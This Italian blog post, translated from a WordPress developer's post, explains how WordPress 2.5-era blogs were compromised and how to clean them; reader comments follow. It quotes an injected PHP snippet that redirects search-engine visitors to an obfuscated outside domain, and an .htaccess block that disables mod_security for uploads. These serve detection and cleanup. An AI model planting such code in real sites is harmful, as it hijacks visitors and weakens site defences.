Il tuo WordPress è stato compromesso?

24

Ricorderete senza dubbio le ultime settimane tutto quel rumore su vari blog con wordpress compromessi? Ricordate come a tutti è stato suggerito di aggiornare al più presto all’ultima release (2.5.1). Avete aggiornato vero? No? Allora è inevitabile che siate state compromessi, è solo questione di tempo.

Sfortunatamente per qualcuno che ha aggiornato è stato comunque troppo tardi. Gli Hacker possono essere venuti a conoscenza della vulnerabilità prima del team di sviluppo di WordPress, infettando i blog, rubando password e username, inserendo script e backdoor per poter tornare sul vostro blog con calma.

Questo è il sistema che hanno usato anche contro chi è stato diligente e ha aggiornato per tempo (in pratica avete aggiornato un blog già compromesso e non ve ne eravate accorti n.d.t.). I cattivi ragazzi sono arrivati prima di voi.

Nell’ultima settimana gli hackers si sono rimessi al lavoro.Al momento non esiste un exploit zero-day per wordpress. Non c’è alcuna evidenza che la versione 2.5.1 di WordPress sia vulnerabile ad exploit. Stanno utilizzando ancora i vecchi exploits.

Questa volta stanno indirizzando visite da google al tuo blog. Quelle visite invece vengono reindirizzata a your-needs.info e anyresult.net.

Se il tuo blog è stato compromesso:

  1. Aggiorna all’ultima versione di WordPress
  2. Assicurati che non ci siano backdoors o codice malevolo nel tuo sistema. Vengono lasciati in forma di script nei vostri files e anche nal vostro tema, quindi controllate per bene anche il vostro tema.
  3. Cambiate la password e verificate con attenzione che l’hacker abbia creato un altro user, e se lo trovate eliminatelo.(il nuovo user non l’hacker :-) )

Codice nascosto

I cattivi ragazzi utilizzano diversi sistemi per nacondere i loro hack:

Il sistema più semplice è quello di nascondere il codice nei vostri file php. Se la directory del blog e i vostri file sono scrivibili dal server allora un hacker ha la massima libertà d’azione per seminare il suo codice dove vuole. wp-blog-header.php sembra essere uno dei file preferiti. I file del tema sono un altro posto molto appetitoso. Quando aggiorni wordpress i file del dema non vengono sovrascritti così verifica con attenzione i file del tuo tema e cerca strani codici che usano il comando  eval() o base64_decode().

Ecco un esempio di codice preso da qui:

< ?php $seref=array("google","msn","live","altavista","ask","yahoo","aol","cnn","weather","alexa"); $ser=0; foreach($seref as $ref) if(strpos(strtolower($_SERVER['HTTP_REFERER']),$ref)!==false){ $ser="1"; break; }
if($ser=="1" && sizeof($_COOKIE)==0){ header("Location: http://".base64_decode("YW55cmVzdWx0cy5uZXQ=")."/"); exit; }?>

Un altro hack aggiunge codice differente. Cerca nei tuoi file k1b0rg o keymachine.de e se lo trovi eliminalo.

Controlla il file .htacces nella directory principale del tuo blog.

Se non è mai stato modificato dovrebbe apparirti così:

# BEGIN WordPress
<ifmodule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</ifmodule>
# END WordPress

Potreste trovare anche quest’altro pezzo di codice che è riferito all’uploader:

<ifmodule mod_security.c>
<files async-upload.php>
SecFilterEngine Off
SecFilterScanPOST Off
</files>
</ifmodule>

Un altro sistema che utilizzano questi cattivi ragazzi è quello di caricare sul vostro server nella directory uploads dei file mascherati da jpeg aggiungendoli alla lista dei plugin attivi. Questo rende più difficile scovarli ma non impossibile.

  • Aprite PHPMyAdmin e andate nella tabella wp-option del vostro blog e cercate il record active_plugins.
  • Modificate quel record. E’ un record molto lungo. Scorrete il record e cercate una stringa tipo: “../uploads/2008/05/04/jhjyahjhnjnva.jpg”. Eliminate quel testo e assicuratevi di eliminare l’informazione di array serializzato  per quel record di array. Se la procedura è troppo complessa, cancellate il record active_plugin e riattivate di nuovo tutti i plugin.
  • Cercate nella vostra directory di upload quel file e cancellatelo.
  • Questo video su YouTube vi mostra i passi da seguire. Non è necessario e neppure urgente cancellare il record rss_*, ma se lo fate non create danni.

Cambia le password

Una volta aggiornato e verificato che tutto sia pulito DEVI:

  1. Cambiare le password di tutti i tuoi utenti
  2. Assicurarti che l’hacker non abia creato un’altro utente per potersi collegare nuovamente.

Ferma i cattivi ragazzi:

Fate regolari backup dei file e del database.

Per questa parte vi lascio all’articolo originale e alla traduzione di aldolat perchè nella stragrande maggioranza dei casi non gestite da voi il vostro server.

Per favore aggiornate

Non esiste alcun motivo valido per non aggiornare. WordPress è famoso per la sua installazione in 5 minuti, ma richiede tempo e fatica per la sua manutenzione.Se non vuoi fare la fatica per aggiornarlo o non sai come fare la manutenzione, perchè non prendere un blog hostato da  WordPress.com? Davvero i $10 che guadagnate mensilmente dalla pubblicità  giustifica il tempo che impiegate per rendere sicuro il vosto blog, quello che scrivete, le vostro foto e i vostri media? Questa non è pubblicità per WordPress.com, scegliete pure il servizio di blogging che preferita, ma non fate che l’immondizia che c’è in giro abbia vita semplice nel prendere il controllo del vostro software non aggiornato per usarlo per il loro vantaggio.

Aiuta un amico

Controlla il codice sorgente del blog che stai leggendo. Il numero di versione di wordpress che trovate velocemente nel header vi dirà se wordpress è aggiornato o no.

Per favore lasciategli un un commento invitandolo ad aggiornare.

Il numero di verisone vi apparirà così:

<meta name=”generator” content=”WordPress 2.5.1? /> <!– leave this for stats ->

Se volete leggere l’articolo originale questo è il link.

Questa invece è la traduzione in italiano completa.

(libera traduzione autorizzata del post di Donncha, uno dei membri del team di wordpress)

Commenti dei Lettori


1
Il 9 giugno 2008, MrBrown scrive:

Non esiste alcun motivo valido per non aggiornare.

metti il caso che ti devi riscrivere tutti i plugin per renderli compatibili con la 2.5.1 :-)

2
Il 14 giugno 2008, domandone scrive:

Scusate, ma il terimine Hacker è poco adatto.

3
Il 14 giugno 2008, wolly scrive:

perchè? e come lo cambieresti?
P.S. è una traduzione.

4
Il 15 giugno 2008, Fisca scrive:

Forse si riferisce al senso stretto del termine.
La stampa fa abuso del termine confondendo i CRACKER con gli HACKER.

La differenza etica è sostanziale se pur la conoscenza ed i mezzi sono i medesimi.

5
Il 15 giugno 2008, Fisca scrive:
6
Il 15 giugno 2008, wolly scrive:

Si va bene ma tu dall’inglese all’italiano come tradurresti Hacker? Non è un articolo scritto da un giornalista ma da Donncha uno degli sviluppatori di wordpress.

7
Il 15 giugno 2008, Fisca scrive:

Non ho detto che la traduzione fosse sbagliata…
ho cercato di interpretare l’affermazione di “domandone”

8
Il 16 giugno 2008, domandone scrive:

Wolly, non hai propio capito. Non sto dicendo che dovevi tradurre la parole hacker, ma che la porta hacker, in quel contesto è SBAGLIATA, sia nell’articolo originale in inglese che in quello tradotto.

Gli Hacker non buttano giù i siti.

9
Il 16 giugno 2008, wolly scrive:

non ho voglia di entrare nell’eterna querella tra hacking etico e cracking perchè se ne discute da decenni.
Ti riporto quello che dice wikipedia (che per me non è la bibbia):
* Hacker (computing) has a spectrum of meanings:
o Hacker (computer security), someone who breaks computer and network security
o Hacker (free and open source software), a programmer in the free software and open source movement
o Hacker (hobbyist), an enthusiastic home computer hobbyist.

http://en.wikipedia.org/wiki/Hacker

Poi possiamo discutere all’infinito ma, NON è il tema del post.
Il contenuto del post è come viene compromesso wordpress e come fare per ripurirlo che poi a farlo sia il bidello della scuola o il premio nobel per la fisica o il ragazzino brufoloso che si è preso lo ZXSpectrum ritengo non abbia alcuna attinenza con questo post.

10
Il 16 giugno 2008, wolly scrive:

prendo dal link che hai messo tu:
In the most common general form of this usage, “hacker” refers to a black-hat hacker (a malicious or criminal hacker).

Nell’uso comune “Hacker” si riferirisce a un hacker black-hat (hacker criminale o malevole)

Quindi non c’è alcun errore nell’uso del termine.

11
Il 16 giugno 2008, domanda scrive:

peccato che poi pensano che hacker sia il criminale informatico quandon non è cosi….

12
Il 16 giugno 2008, Fisca scrive:

Utimo messaggio OT:
scusa wolly ma te la prendi come un fatto personale per una precisazione che invece porta contributo alla cultura informatica a chi non ha mai avuto modo di affrontare il problema.

Trovo pertanto il uo irrigidimento leggermente fuori luogo… oper rimanere nel lessico del blog, decisamente OT ;) .

13
Il 26 giugno 2008, @dedip scrive:

scusate se non vi dispiace io faccio una domanda relativa al post…
io avevo già la versione 2.5.1 ed è successo qualcosa di inspiegabile..quindi leggendo questo ho pensato che le due cose fossero collegate..
praticamente in questo sito che sto sistemando http://www.activoli.it si è scombussolata solo l’homepage..e credo proprio non sia un problema di template..perché 1 le altre pagine funziona correttamente, 2 ripristinando un index.php buono il problema resta, 3 cambiando il template di index con quello di single.php ad esempio il problema resta.. :S che devo fare?!
c’è qualche file wordpress esterno al template che controlla il template?! (l’unico errore che mi causa in questo caso è relativo alla sidebar che fa quello che vuole :S

se questo non è il luogo adatto per chiedere magari passo al forum ;)

grazie lo stesso ;)

14
Il 26 giugno 2008, SteveAgl scrive:

Non è un sito compromesso, per queste cose esiste il forum, dove fra l’altro quel problema è stato affrontato mille volte trattandosi di un banale problema CSS.

15
Il 26 giugno 2008, @dedip scrive:

grazie steve..è quello che avrei pensato anch’io..se non fosse che si verifica solo in homepage… e non nelle pagine interne..e soprattutto se inserisco il codice del file single.php dentro a index.php continua a verificarsi…mentre invece nella pagina del singolo post funziona… quindi ho pensato non si tratti di css.
grazie lo stesso ;S

Trackback/Pingback

Scrivi un tuo commento